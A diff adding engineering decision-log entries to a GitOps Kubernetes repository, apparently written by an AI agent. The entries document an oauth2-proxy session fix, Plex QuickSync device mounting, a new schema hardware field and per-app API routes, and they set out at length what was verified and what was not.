+- **A SUCCESSFUL SIGN-IN, ANYWHERE.** The strongest post-fix evidence is the *absence* of the
+  eviction fingerprint on crafty (0 `removing session`, 0 `cookie signature not valid`, across
+  13h 52m) against radarr's 8-and-8. That is directional and I believe it. But crafty logged
+  **0 `AuthSuccess`** in the same window, so no session has been observed working end to end on a
+  fixed instance. Whoever closes this out should re-measure crafty **after real sign-in traffic**.
+- **No browser round-trip by me at all**, for any of the three defects. Reproducing the collision
+  needs two gated apps visited in one session. The concurrent jackett branch does carry an observed
+  log-level reproduction (interleaved radarr/jackett `removing session` deleting a clean session
+  26s after login) — real evidence for the MECHANISM, and it is theirs, not mine.
+- **`--cookie-refresh=2m30s` has never been exercised.** The value is derived from a measured
+  300.000s access-token lifetime and is asserted to sit inside `(0, 300s)`, but no session has been
+  held past the five-minute cliff to watch a refresh succeed. If Keycloak's refresh-token or SSO
+  idle timeouts are shorter than expected, the symptom moves rather than disappears. **This is the
+  fix most likely to need a second pass**, and the first thing to watch after merge.
+- **The `metrics` port has never been fetched.** The listener is asserted to start by flag
+  presence only; nobody has curled `:44180` on a rendered pod. And it is unreachable by design
+  until the Service/policy/ServiceMonitor wiring lands — see above.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. Cluster access was
+  read-only throughout; the one container I ran was the oauth2-proxy image locally under podman to
+  read its `--help`. The running pods are still the pre-fix spec. **Merging is what deploys**, and
+  it will roll five Deployments; every user's existing session on those five apps is invalidated by
+  the cookie rename and they will re-authenticate once. Radarr/sonarr/qbittorrent use
+  `strategy: Recreate` on RWO volumes, so there is a brief gap per app. Pick the moment — and
+  note this now changes **three** flags plus a port on all five, so a bad `--cookie-refresh` value
+  would surface as five apps misbehaving, not one.
+- **The live flags are not re-measured by the check.** git is not the cluster. I measured the live
+  pods by hand, once; nothing in the gate re-reads them, so hand-applied drift would be invisible
+  to it. A live-state assertion is L2 and is not written.
+- **`--cookie-refresh` and `--metrics-address` are UNGATED, and I found out why.** Nothing in
+  `ci/` or `.gitea/` runs `catalog/render.py --selftest` — I grepped for it. So the twenty-odd
+  assertions in that selftest, including the six I just added, are dev-time only: a future edit
+  that drops either flag *and* re-renders the goldens would pass the entire merge gate.
+  `render-golden` catches accidental drift (golden vs renderer) but not a deliberate removal of
+  both together, and my L0 check deliberately does not cover these two flags. **The repo already
+  has the precedent for the fix and the one-line shape of it:**
+  `conformance/tests/l0-static/auditability-proofs-producible/check.sh:291` drives
+  `conformance/lib/<tool> --selftest` as a subprocess for exactly this reason — its own header
+  says it does so "because nothing [else] drives them". Adding `catalog/render.py` to that list,
+  or giving the renderer its own scope-declaring L0 test, closes it. I did not do it here because
+  it widens an already review-blocked PR into a third subject; it is the highest-value follow-up
+  in this entry.
+- **Log-derived counts are a weak instrument and I did not strengthen them.** `kubectl logs
+  --since=` returns what the kubelet still retains, so an old, busy container's window may be
+  truncated; and `No valid authentication in request` counts unauthenticated first hits and XHR
+  polls indiscriminately. The `cookie signature not valid` / `removing session` pair is the only
+  collision-specific signal in there, and it is the one I leaned on. None of this is gated —
+  there is no alert on it and no L2 check reads it.
+- **The cookie-secrets' distinctness is not gated either.** It was measured out of band and is
+  asserted nowhere. If they were ever made identical the collision would become harmless — but
+  sharing one session-encryption key across trust zones is a worse idea than the bug it would mask,
+  so the check does not offer it as an alternative and does not look for it.
+- **The shared proxy's own configuration is unchanged and untested by me.** I did not touch
+  `platform/oauth2-proxy/**` (owned by another agent this cycle); the check only reads it.
+- **Nothing about group authorization, CSRF behaviour, or session contents.** Names and domains only.
+- **`vars.CLUSTER_AVAILABLE` is still unset in CI**, so the PR's green tick — if it goes green —
+  proves the L0/L1 offline subset and nothing about runtime.

decisions/2026-09-30-plex-quicksync.md

@@ -0,0 +1,174 @@
+---
+date: 2026-09-30
+branch: feat/plex-quicksync
+title: Plex opts into `hardware.gpu: intel-quicksync` — the device mount is GitOps, the Plex-side toggle is a documented manual step, and hardware transcoding has NOT been observed working
+---
+
+## What changed
+
+Three things, and the third is the point of the branch.
+
+1. **`catalog/plex.yaml`** — added the four lines the whole feature reduces to:
+
+   ```yaml
+   hardware:
+     gpu: intel-quicksync
+   ```
+
+   placed between `env` and `exposure` to match the schema's own property order, with ~48 lines of
+   comment in the file's established style. The comment records: the field is **intent, not
+   mechanism** (a later move to the Intel device plugin is a `render.py` change and this block does
+   not move); that `/dev/dri/renderD128` is present on **all three** prod nodes with `i915` bound;
+   **why a `supplementalGroups` entry would be inert** (the image's cont-init hook does the group
+   work inside the container and `s6-setuidgid` replaces the process group list from `/etc/group`);
+   why `DirectoryOrCreate` is the load-bearing safe failure mode (`apps-wave-0` is `wait: true` with
+   `apps-wave-1` depending on it, so a failed mount would stall the whole app tier for a feature
+   that is not load-bearing); and that the Plex-side toggle is a **separate manual operator step**,
+   pointing at the new runbook.
+
+2. **`apps/wave-0/plex.yaml`** — re-rendered. Six added lines, nothing else, in the whole `apps/`
+   tree:
+
+   ```
+           - name: dri
+             mountPath: /dev/dri
+         - name: dri
+           hostPath:
+             path: /dev/dri
+             type: DirectoryOrCreate
+   ```
+
+3. **`runbooks/plex-quicksync.md`** (new), registered in `runbooks/kustomization.yaml`'s
+   `configMapGenerator` as `- plex-quicksync=plex-quicksync.md` and indexed in `runbooks/README.md`
+   under "Operator procedures". **The file alone would have been a 404** — the pod serves a
+   ConfigMap, not the git tree, and `conformance/tests/l0-static/alert-runbooks-resolvable` exists
+   precisely because "the file is in git" and "the URL resolves" are different claims. The page
+   covers: the GitOps/manual boundary as a table; the toggle (Settings → Transcoder → "Use hardware
+   acceleration when available", preference key `HardwareAcceleratedCodecs`); the real neighbouring
+   keys and the widely-cited one that **does not exist**; that the only proof is `Transcode (hw)` on
+   the Plex dashboard **and why no alert is possible**; the device-cgroup failure to expect first
+   with a concrete open() diagnostic and the Intel-device-plugin fallback; and the floating-`:latest`
+   caveat with a digest check.
+
+**Stacked on PR #27 (`feat/sd-hardware-capability`), which is open and unmerged.** This branch was
+cut from it rather than from `main`, so its one commit (`d9baa2a`, the schema + renderer + contract)
+is in this PR's range. That is deliberate: merging #27 is not an agent's action (CLAUDE.md §1), and
+duplicating its changes here would have been worse than showing them. **This must merge after #27.**
+
+Not done, deliberately: no `--emit-waves` (it writes into `clusters/base/`, a sensitive path that
+would force a human reviewer, and it is a no-op unless the *set* of files under `apps/` changes — it
+does not here). No `podSecurityContext`. No `nodeSelector`. No alert rule. No `kubectl apply`.
+
+### Two follow-ups left unclaimed, with the reasoning
+
+- **Transcode scratch is on the wrong medium, and it is invisible.** The image sets
+  `TranscoderTempDirectory=/transcode`, which is **not a volume** — it is the container's writable
+  overlay, i.e. the node's `/data`. That is NVMe on prod-2 but **SATA on prod-1 and prod-3**, so
+  transcode scratch performance changes silently on reschedule, with nothing reporting it. Both
+  candidate fixes need a **schema** change and so neither belongs in this PR: pin Plex to prod-2
+  (needs a `nodeSelector` field the schema does not have), or give `/transcode` a `medium: Memory`
+  emptyDir and transcode in RAM (~31 GiB per node; needs an emptyDir field the schema does not
+  have). **The RAM option is the better one** — it removes the node asymmetry outright instead of
+  working around it — which is exactly why it deserves its own PR and its own review rather than
+  being smuggled in behind a four-line catalog change. Documented in the runbook's "Known gaps".
+- **GuC/HuC firmware is not loaded** (`i915.enable_guc=0`). The cost is low-power H.264 **encode**
+  quality only; decode and this feature are unaffected. Changing it needs a kernel parameter plus a
+  **serialized rolling reboot** — an operator action under CLAUDE.md §5, on a cluster with a
+  documented history of that going badly (a prod node hung on a warm reboot on 2026-09-03). Kept
+  well clear of this PR.
+
+### Rebase note (2026-10-01, Ruth Okonkwo) — resolution only, no redesign
+
+Rebased onto `main` @ `08deb20` (was cut from `0fbf544`), restacked on the rebased
+`feat/sd-hardware-capability` (PR #27) so the stack stays coherent — this branch still carries
+exactly PR #27's commit plus its own, with no duplicate of anything already in `main`. The branch
+ref was force-updated with `--force-with-lease`, so PR #32 is the same PR with a new head.
+
+**The `catalog/render.py` conflict disappeared** once PR #27 was rebased; it was never this
+branch's own conflict. **One conflict remained, in `runbooks/README.md`, purely textual.** PR #30
+(`fix/jackett-oauth2-proxy-session`, merged as `08deb20`) appended an `oauth2-proxy-session` index
+entry under *Operator procedures* at the same point this branch appended its `plex-quicksync` entry.
+**Both entries were kept, in full.** Ordering follows this file's existing convention, which is
+grouped/narrative rather than alphabetical (the *Nodes* section runs down/io/memory/disk/cpu):
+`plex-quicksync` sits next to `plex-claim` as the other Plex page, leaving `oauth2-proxy-session`
+adjacent to `crafty-admin-credential`, which cross-references the same sidecar gate. The change to
+`runbooks/README.md` is an 8-line pure insertion, so PR #30's entry is untouched.
+`runbooks/kustomization.yaml` auto-merged and **both** `configMapGenerator` entries are present.
+
+Re-verified after the resolution, on the rebased stack: `--selftest` PASS (rc 0); a full re-render
+reproduces every committed golden byte-identically; and the **only** `apps/` diff against the new
+`main` is `apps/wave-0/plex.yaml`, confined to the expected six lines (the `dri` mount and its
+`DirectoryOrCreate` hostPath volume). No other service's golden moved — PR #28 added ~176 lines of
+oauth2-proxy sidecar rendering, and this confirms by measurement rather than assumption that Plex
+(`auth: native`, no sidecar) is unaffected by it.
+
+## What I verified
+
+- **The render is exactly the intended change, and nothing else moved.** After
+  `python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation` (exit 0,
+  silent): `git diff --stat apps/` = `apps/wave-0/plex.yaml | 6 ++++++`, and
+  `git status --porcelain apps/` = a single ` M apps/wave-0/plex.yaml`. Read line by line, the diff
+  is the `dri` volumeMount and the `dri` hostPath volume, and nothing more. **Specifically checked:**
+  the same invocation also rewrites `apps/wave-1/keycloak.yaml` and `apps/wave-0/vm-demo.yaml`, which
+  are git-tracked but excluded from the golden comparison by `RENDER_GOLDEN_NOT_ONBOARDED` in
+  `ci/render-golden.sh` — a spurious diff there would have landed **ungated**. Neither file shows a
+  diff; whole-repo `git status --porcelain` lists only `apps/wave-0/plex.yaml` and `catalog/plex.yaml`
+  plus my new files.
+- **The rendered output matches what the contract promises** — `schemas/renderer-contract.md`
+  `### hardware` says exactly two things (a `/dev/dri` hostPath with `type: DirectoryOrCreate` and a
+  read-write mount on the app container) and exactly two things appeared. No `securityContext`, no
+  `nodeSelector`, no resources in the diff.
+- **The runbook is projected into the server, not merely committed.** `runbooks/kustomization.yaml`
+  carries `- plex-quicksync=plex-quicksync.md`, whose shape matches the generator-entry regex the
+  L0 check parses; the extensionless key is what makes `/runbooks/plex-quicksync` a plain static
+  lookup. Also indexed in `runbooks/README.md`.
+- **The runbook clears the L0 quality floor** that `alert-runbooks-resolvable` applies to
+  alert-linked pages, even though nothing links to this one (it is advisory for an unreferenced
+  page): all four required sections (`## What this means here`, `## First commands`,
+  `## Likely causes, most likely first`, `## When to escalate or stop`), well over the 1500-byte
+  floor, `dev.sh` used throughout, and `--context k3s-prod` on every command.
+- **The gate.** See the run recorded in the PR description for the per-stage table and the real rc.
+- **No secret was printed.** Every `Preferences.xml` read in the runbook greps one named key, and the
+  page states explicitly why: the file holds `PlexOnlineToken`. Nothing was `sops -d`'d.
+
+## What I did NOT verify
+
+**Hardware transcoding has NOT been observed working.** Nothing in this branch is evidence that it
+does. A green gate here proves the manifest renders and the golden matches — it proves nothing about
+runtime behaviour, and `vars.CLUSTER_AVAILABLE` is unset so L2/L3 conformance did not run at all.
+
+- **The device-cgroup question is OPEN, and it is the largest remaining technical risk.** Whether
+  containerd on this k3s build permits a **non-privileged** pod to `open()` a bind-mounted character
+  device is **UNVERIFIED**. It can only be settled by deploying and trying. The container inits as
+  uid 0, which settles *file* permissions, but uid 0 does **not** bypass the cgroup device gate — and
+  the two failures look identical from the outside. If it is refused, the fallback is the Intel
+  Device Plugin (`gpu.intel.com/i915`), which is a `catalog/render.py` change plus a re-render with
+  **no ServiceDefinition edit**; `privileged: true` is not available (Kyverno
+  `restrict-host-namespaces` is Enforce). The runbook has the diagnostic sequence.
+- **The Plex-side toggle was still unset at the time of writing.** `HardwareAcceleratedCodecs` was
+  **absent** from `Preferences.xml` — the toggle has never been enabled on this server. Until an
+  operator ticks it in the UI, this branch changes the pod spec and **nothing about transcoding**.
+  That is the whole reason the runbook exists.
+- **No metric, so no alert, so no automated detection — permanently.** `catalog/plex.yaml` declares
+  no `metricsEndpoint`, so Plex renders no ServiceMonitor; there is no transcode-mode signal for a
+  rule to evaluate. A silent degradation to software transcoding (a node losing its iGPU, the
+  `DirectoryOrCreate` path) will **not** be reported by anything. I deliberately did not add an
+  alert: with no metric behind it, it could never fire, and this repo has been burned at scale by
+  exactly that. Closing the gap honestly means an exporter first.
+- **I did not re-derive this session's node or in-container measurements.** The three-node
+  `renderD128`/`i915`/GID-992 facts, the cont-init hook behaviour, the `s6-setuidgid` group
+  replacement, the `PLEX_PREFERENCE*` absence, the six `setPref` keys and the
+  `HardwareAcceleratedCodecs` string were established earlier in this session and are cited, not
+  re-measured, by me. Per CLAUDE.md §2b, treat this file as a record of belief and re-measure against
+  the cluster before relying on any of it.
+- **The image is a floating tag.** Everything known about the hook came from digest
+  `sha256:e0ab27395614…` (`plexmediaserver 1.43.4.10903`), while the Deployment runs
+  `plexinc/pms-docker:latest` with `imagePullPolicy: Always`. A silent pull can invalidate the
+  "no `supplementalGroups` needed" conclusion **with no commit in this repo**. Not guarded against —
+  the runbook tells the reader to re-check the hook after an image bump, which is documentation, not
+  enforcement.
+- **I did not verify the live Gitea gate state** (branch protection, required contexts, runner
+  online) for this PR. Per §2b that must be queried, not read out of `CLAUDE.md`'s table; I did not
+  query it.
+- **`/runbooks/plex-quicksync` was not fetched.** The L0 check asserts every static precondition for
+  an HTTP 200; it does not make the request, and I did not either.

decisions/2026-09-30-sd-hardware-capability.md

@@ -0,0 +1,204 @@
+---
+date: 2026-09-30
+branch: feat/sd-hardware-capability
+title: ServiceDefinition gains a `hardware` capability field — `gpu: intel-quicksync` mounts /dev/dri and nothing else; the enum is what keeps the mechanism swappable
+---
+
+## What changed
+
+A new optional top-level ServiceDefinition property, `hardware`, with one optional member,
+`gpu`, whose enum today has exactly one value: `intel-quicksync`. **No catalog entry uses it.**
+This PR delivers the capability; consuming it (Plex) is separate work on top.
+
+- `schemas/servicedefinition.schema.json` — adds `hardware` (object, `additionalProperties: false`,
+  `minProperties: 1`) with `gpu` (enum `["intel-quicksync"]`). Schema version bumped **1.7.0 →
+  1.8.0**, changelog entry prepended to the schema `description` per that file's own convention.
+- `catalog/render.py` — two module-level constants (`DRI_VOLUME_NAME`, `DRI_DEVICE_DIR`) and the
+  emission in `r_deployment`.
+- `schemas/renderer-contract.md` — new `### hardware` field-mapping section, plus cross-field
+  invariant **8** in that file's numbered list.
+- `schemas/README.md` — its `**Schema version:**` line said `1.0.0`; it had been stale since 1.1.0.
+  Synced to 1.8.0 and annotated that the schema `description` is the changelog of record. Added one
+  bullet to "Cross-field rules" for the new enum. That was the whole of the staleness; nothing
+  ballooned.
+
+**What the renderer emits** for `hardware.gpu: intel-quicksync`, on the app container only (never a
+sidecar), and it is exactly two things:
+
+1. a hostPath volume `dri` → `/dev/dri`, `type: DirectoryOrCreate`;
+2. a read-write `volumeMount` of `dri` at `/dev/dri` on the app container (deliberately not
+   `readOnly` — VA-API opens the render node read-write).
+
+**Mounting the device is sufficient.** It emits **no** `privileged: true` (Kyverno
+`restrict-host-namespaces` is Enforce on app namespaces and it is not needed), **no** `nodeSelector`
+(placement is a separate concern with its own justification), **no** resource requests (there is no
+app-container resource render path), and — the one that is worth spelling out — **no
+`podSecurityContext.supplementalGroups`**.
+
+**Why no `supplementalGroups`, when `/dev/dri/renderD128` is `root:render 0660`.** An earlier
+revision of this branch merged the host `render` GID into `supplementalGroups`. **It was measured to
+be a no-op and has been removed.** In the running container on prod-2, 2026-09-30:
+
+    PID 1   s6-svscan            Uid: 0     Gid: 0     Groups: 0
+    pid 246 Plex Media Server    Uid: 1000  Gid: 1000  Groups: 100 1000
+
+`/etc/services.d/plex/run` ends in `exec s6-setuidgid plex …`, and the child's group list is exactly
+the `/etc/group` account-database list — root's gid `0`, which PID 1 holds, has **vanished**. That is
+a `setgroups()` that *replaces* rather than appends, so anything Kubernetes puts in
+`supplementalGroups` reaches `s6-svscan` and is discarded before the app ever starts. What actually
+works is the image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner`, which `find`s
+every char device under `/dev/dri`, `stat -c '%g'`s its GID, `groupadd`s a matching group inside the
+container when none exists, and `usermod -a -G`s the app user into it — every start, nothing
+hardcoded; `cont-init.d` completes before `services.d`, so the database is correct at exec time.
+
+Shipping an inert `supplementalGroups` would have been worse than shipping nothing: it would read as
+the mechanism to whoever debugs this next. The reasoning lives in a comment **at the emission site**
+and in `renderer-contract.md`, and `render.py --selftest` now asserts the *absence* of a
+`securityContext`, so it cannot be "helpfully" added back without a test failing. A pleasant
+corollary: because the hook re-`stat`s the device every start, host GID drift is **self-healing**,
+and no GID is pinned anywhere in this repo.
+
+**The design decision worth defending: the field is an enum of intent, not a device path.** The SD
+says *what class of host device the workload needs*; the hostPath and the mount exist only in
+`catalog/render.py`. Migrating to the Intel GPU device plugin (`gpu.intel.com/i915` resource
+requests, no hostPath at all) is then a renderer change with zero catalog edits. Both the schema
+`description` and the contract section say this explicitly, because the obvious "simplification" —
+letting an SD name `/dev/dri` — would push a platform implementation detail into the operator-facing
+contract and make that migration a catalog-wide edit.
+
+**`DirectoryOrCreate` is load-bearing.** A node that comes back without the render device (rebuild,
+BIOS change, driver regression, hardware swap) must degrade the workload to software transcoding,
+not fail the mount: `apps-wave-0` is `wait: true` and `apps-wave-1` `dependsOn` it, so a failed
+hostPath mount stalls the entire app tier for the sake of a feature that is not load-bearing.
+`/dev` is tmpfs, so the empty directory the kubelet creates on such a node leaves nothing durable
+behind. Do not "tighten" it to `Directory`. The reasoning is recorded at the emission site.
+
+### Rebase note (2026-10-01, Ruth Okonkwo) — resolution only, no redesign
+
+Rebased onto `main` @ `08deb20` (was cut from `0fbf544`). Re-landed as a single cherry-pick onto
+current `main`; the branch ref was force-updated with `--force-with-lease`, so PR #27 is the same
+PR with a new head.
+
+**One conflict, in `catalog/render.py`, purely textual.** PR #28
+(`fix/oauth2-proxy-cookie-collision-fleet`, merged as `6caa5f2`) inserted its own constants blocks
+(`OAUTH2_ACCESS_TOKEN_LIFETIME_S` / `OAUTH2_COOKIE_REFRESH`, and `OAUTH2_PROXY_METRICS_PORT`) at the
+same insertion point immediately after `KEYCLOAK_ISSUER` that this branch used for
+`DRI_VOLUME_NAME` / `DRI_DEVICE_DIR`. The two blocks are unrelated and do not interact, so **both
+sides were kept in full**, oauth2-proxy's first and the hardware block after it. Nothing was
+dropped and nothing was rewritten: the rebased commit adds the **same 126 `render.py` lines** as the
+pre-rebase commit (verified by comparing the added-line sets) and deletes none. In particular the
+`supplementalGroups`-is-deliberately-not-emitted and `DirectoryOrCreate`-is-load-bearing comments
+survive verbatim.
+
+Re-verified after the resolution: `--selftest` PASS (rc 0), and a full re-render still produces a
+**zero** diff in `apps/` — this PR remains inert, as it must be while no ServiceDefinition opts in.
+
+## What I verified
+
+Measured, in this worktree, on this branch:
+
+- **`python3 catalog/render.py --selftest` → `render.py selftest: PASS`, rc 0.** New cases in the
+  existing `check(...)` style: the positive (volume + mount, and *no* `securityContext`, *no*
+  privileged, *no* nodeSelector), the negative that matters (an SD without `hardware` gains no
+  volume, no volumeMount and no `securityContext` — mirroring the existing `podSecurityContext`
+  negative), and a pass-through case (an SD declaring both `hardware` and its own
+  `podSecurityContext: {fsGroup: 1001, supplementalGroups: [44]}` keeps it **exactly** as written).
+- **The self-tests actually bite.** I mutated the guard (`if hw_gpu == "intel-quicksync":` → `if
+  True:`) in a scratch copy and re-ran: **rc 1**, failing on "an SD without `hardware` must gain no
+  dri volume, no mount and no securityContext". A test that cannot fail is not a test; this one can.
+- **Re-render is a zero diff.**
+  `python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation` then
+  `git diff --stat apps/` → **empty**, and `git status --porcelain apps/` → **empty** (so the two
+  not-onboarded by-products, `apps/wave-1/keycloak.yaml` and `apps/wave-0/vm-demo.yaml`, were
+  rewritten byte-identically and needed no revert). The change is inert until a service opts in.
+- **Schema validity and catalog conformance.** `Draft202012Validator.check_schema` passes; all
+  **12** `catalog/*.yaml` validate with **0** errors. On the new field specifically: `gpu:
+  intel-quicksync` accepted; `gpu: /dev/dri` rejected (enum); `hardware: {gpu: …, path: …}` rejected
+  (`additionalProperties: false`); `hardware: {}` rejected (`minProperties: 1`).
+- **Hand-checked the emitted YAML** by rendering a throwaway SD carrying `hardware`, a Longhorn
+  volume and its own `podSecurityContext: {runAsUser: 1000, supplementalGroups: [44]}`. Result:
+  `volumeMounts` = config then `{name: dri, mountPath: /dev/dri}`; `volumes` = the PVC then
+  `{name: dri, hostPath: {path: /dev/dri, type: DirectoryOrCreate}}`; `securityContext` =
+  `{runAsUser: 1000, supplementalGroups: [44]}` — i.e. **unchanged**, nothing appended. That toy SD
+  was never written into `catalog/`.
+- **GATE: `rc 3` — UNDETERMINED, NOT green.** Run in the pinned toolbox from this worktree with
+  both CLAUDE.md §3 workarounds (`DEV_KUBECONFIG=/dev/null`, and an `ENGINE` shim bind-mounting the
+  main checkout's `.git` at its own absolute path). Diff base `origin/main @ 0fbf544d5e2f`; touched
+  requirements `R-DNS-03 R-GITOPS-02 R-IDP-02`. Run **four** times on this branch with an identical
+  result each time, most recently against tree `c132893045b1` — the final commit differs from that
+  run only by this paragraph. Per stage:
+
+  | stage | result |
+  |---|---|
+  | spec-immutability | **SKIPPED** — sibling spec repo not at `/work/../home-network-k3s`. Expected from a worktree; tolerated by §3. |
+  | decisions-log | pass |
+  | lint | pass |
+  | l0 | pass — 19 offline cases, `0 failure(s), 0 skip(s), 0 unwired` |
+  | render-golden | pass — *"all 10 onboarded service golden(s) reproduce from the canonical render"* |
+  | l1 | pass — 3 offline checks, `0 failure(s), 0 skip(s), 0 unwired`; coverage 51/51 requirements scaffolded |
+  | approval-policy | pass (`event='none'`, not a pull_request event — N/A locally; it will evaluate for real on the PR) |
+  | gitea-settings | **SKIPPED** — `SETTINGS_API_TOKEN` unset. Expected; branch protection and runner registration are therefore UNVERIFIED by this run. |
+  | conformance (L2/L3) | **SKIPPED** — `CLUSTER_AVAILABLE!=true`. Phase-0 standing skip. |
+
+  The gate's own verdict: *"Stages that did not run: spec-immutability gitea-settings"*. **No stage
+  failed, and no stage skipped for a reason caused by this change.** rc 3 is reported as rc 3; I am
+  not calling this green.
+- **Blast radius of the schema change:** `hardware` is absent from every catalog entry, so
+  `apply_defaults` never materializes it and `s.get("hardware")` is `None` on all 12 — which is what
+  the zero diff above demonstrates rather than asserts.
+- **Touched no sensitive path.** Changes are confined to `schemas/`, `catalog/`, `decisions/`; per
+  `infra/gitea/approval-policy.json` none of those are sensitive. `conformance/**` and `clusters/**`
+  are untouched. I did not run `--emit-waves` (it writes `clusters/base/`, and the set of files
+  under `apps/` did not change).
+
+## What I did NOT verify
+
+- **Whether containerd's device cgroup permits a non-privileged pod to `open()` a bind-mounted char
+  device. Still unverified, and it is the single largest technical risk in this workstream.**
+  containerd installs a per-container **device cgroup** allow-list, and whether
+  `/dev/dri/renderD128` arriving as a bind-mounted device node is permitted by it on this
+  k3s/containerd version is **unmeasured**. Settling it requires applying a pod, which is an
+  operator action, not an agent one. The container's PID 1 running as uid 0 helps on the DAC side
+  but does **not** bypass the cgroup gate. If it blocks, the mount will succeed, the image's group
+  hook will do its job, and the `open()` will still fail — and the fallback is the Intel GPU device
+  plugin, which *sets* the cgroup entry. Note that that fallback is a **renderer-only change**: no
+  ServiceDefinition moves, because the authoring surface is an intent enum. That is the design
+  justifying itself, and it is the reason to keep the enum even if the hostPath mechanism loses.
+- **That a missing device degrades silently — and nothing will tell you.** This is the accepted cost
+  of `DirectoryOrCreate`. The workload will software-transcode and **no signal reports it**: media
+  apps in this catalog declare no `metricsEndpoint`, so no ServiceMonitor exists, and there is no
+  metric to alert on. I deliberately did **not** propose an alert, because an alert that cannot fire
+  is worse than none — see the 2026-09-13 correction in `renderer-contract.md` §`observability`,
+  where twelve monitors discovered zero targets. The only proof of hardware transcode is an operator
+  seeing it in the application's own dashboard.
+- **That "mounting the device is sufficient" generalizes beyond this one image.** It does not, and
+  I have not verified that it does. The claim was measured for an image that resolves the device
+  group itself in `cont-init.d`. A future consumer of `hardware.gpu` that runs non-root with no
+  equivalent hook would still need the group solved — and the fix for that case is a **renderer**
+  change (per-image handling, or the device plugin), never a new SD field. I scoped the claim in
+  `renderer-contract.md` rather than letting it read as general; the first such consumer must
+  re-measure.
+- **The feature now depends on a hook inside an image that floats.** The `cont-init.d` behaviour
+  above was read from digest `sha256:e0ab27395614…` (`plexmediaserver 1.43.4.10903`), but the
+  deployment runs `plexinc/pms-docker:latest` with `imagePullPolicy: Always`. **A silent pull can
+  change the behaviour this feature depends on, with no commit anywhere in this repo to show for
+  it** — and the failure would be the silent software-transcode described above. I have not fixed
+  that here (it is the Plex wiring's tag/digest decision, not the capability's), but it should not
+  be forgotten.
+- **GID drift is NOT on this list any more, deliberately.** An earlier revision pinned
+  `INTEL_RENDER_GID = 992` and listed "a node rebuild could move it" as an open risk. The hook
+  re-`stat`s the device on every start, so drift is self-healing and no GID is pinned anywhere. The
+  risk is retired, not overlooked.
+- **Anything on the live cluster.** I ran no `kubectl` and I opened no shell in any container. The
+  node facts (device present, `root:render` 0660, `i915` bound, no device plugin, no
+  `gpu.intel.com/*` advertised), the in-container measurements quoted above, and the Kyverno
+  posture (`restrict-host-namespaces` Enforce; no hostPath or `supplementalGroups`
+  restriction; no PSA labels on app namespaces) are **prior recon handed to me, not re-measured by
+  me**. Per CLAUDE.md §2b, treat them as second-hand until re-queried.
+- **That CI exercises the self-tests. It does not.** `git grep -- --selftest ci/` returns nothing —
+  no gate stage invokes the renderer's self-test. They are the executable spec and house style, and
+  I ran them by hand, but a future regression in this code path **will not be caught by the gate**.
+  Wiring `--selftest` into a gate stage is a real gap and is not part of this PR (`ci/` is a
+  sensitive path and would drag in a human reviewer for a change unrelated to this one).
+- **Runtime behaviour of any kind.** The gate proves the L0/L1 offline subset only;
+  `vars.CLUSTER_AVAILABLE` is unset, so L2/L3 conformance does not run in CI.

decisions/2026-10-01-oauth2-proxy-api-route-per-app.md

@@ -0,0 +1,482 @@
+---
+date: 2026-10-01
+branch: feat/oauth2-proxy-api-route-per-app
+title: The config model had no way to say "this app's API lives here" — so --api-route could not ship. Now it can, per app.
+---
+
+## What changed
+
+Second half of PR #28 (`decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md`), which
+fixed the cookie collision, the 5-minute session and the missing metrics listener in one renderer
+function and **deliberately declined `--api-route`** for a reason I have preserved rather than
+worked around: that flag was measured on **one** app, and `PiHole serves no /api/ at all`, so a
+renderer-wide constant would apply one app's path shape to five. The `auth` block is
+`additionalProperties: false`, so there was no per-app override hook. **Creating the hook was the
+work; setting the flag is the easy part.**
+
+**Three surfaces, in order of what they protect:**
+
+| Surface | Change | What it guards that the others cannot |
+|---|---|---|
+| `schemas/servicedefinition.schema.json` (**1.8.0 → 1.9.0**) | new optional `auth.apiRoutes`: array of anchored path regexes, `uniqueItems`, default `[]` | rejects a too-broad regex **where a human types it** — `ci/l0.sh` validates `catalog/*.yaml` against this schema on every gate run |
+| `catalog/render.py` | emits one `--api-route=<r>` per declared entry, in order; **raises** on an unanchored entry | `ci/render-golden.sh` runs on every gate invocation even when the schema stage skips |
+| `conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/` (new) | cross-checks each rendered sidecar against its own ServiceDefinition | catches a **renderer constant**, which neither of the above can see |
+
+**The `auth` block stays `additionalProperties: false`.** One named, documented key was added; the
+door is not opened. That property is the reason the gap existed, and it is worth keeping — it is
+what made "there is no override hook" a *fact* rather than a *guess* for the two engineers who hit
+it before me.
+
+**Rebased mid-flight.** `origin/main` advanced from `08deb20` to `cdf3e14` while I was working
+(PR #27 and PR #32, the `hardware.gpu: intel-quicksync` capability). **That change also took schema
+`1.8.0`**, so mine is renumbered to **1.9.0** and chained behind it; both version entries are
+present in the description, and `catalog/render.py` had a two-sided conflict in the constants block
+which is resolved by keeping both (the `DRI_*` constants and `OAUTH2_API_ROUTE_PATTERN` are
+unrelated). Re-rendering after the rebase still changes **only** jackett and radarr — plex's new
+golden reproduces byte-identically, so the two changes do not interact.
+
+**Shape:** a **list** of regexes, not a single string, because Radarr needs two
+(`^/api/` and `^/signalr/`) and `--api-route` is natively repeatable. A single string would have
+forced alternation into the value, and alternation is exactly how breadth gets smuggled past a
+prefix-only reading of a regex.
+
+**The anchoring ratchet.** Each entry must match `^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$` — anchored at
+`^/`, then literal path characters, with an optional trailing `.*` or `$`. The same pattern is in
+the schema, in the renderer, and in the new check, and assertion (5) of the check **fails if they
+drift apart**, because if they do the loosest one wins silently. Rejected shapes, all five
+provoked: `^/`, `^/.*`, `.*`, `/api/` (unanchored), `^/api/|^/` (alternation). Alternation is
+**refused rather than supported**: the flag is repeatable, so one entry per route costs nothing.
+
+**Why breadth is the dangerous direction, and it is not symmetric.** A *missing* `--api-route` is a
+silent 302 — bad, invisible, recoverable. A *too broad* one answers a plain **page load** with 401:
+a logged-out operator gets a bare error page and is **never offered a sign-in**, so the service
+looks permanently broken and no reload recovers it. That is a worse outcome than the defect the
+flag fixes, which is why it is gated on three surfaces rather than documented in one.
+
+### Also folded in: the selftest could exit 1 with ZERO diagnostics
+
+Not my change originally — Desmond Oyelaran found it while wiring `catalog/render.py --selftest`
+into the `render-golden` stage (his PR #33, which touches only `ci/render-golden.sh` and is **not**
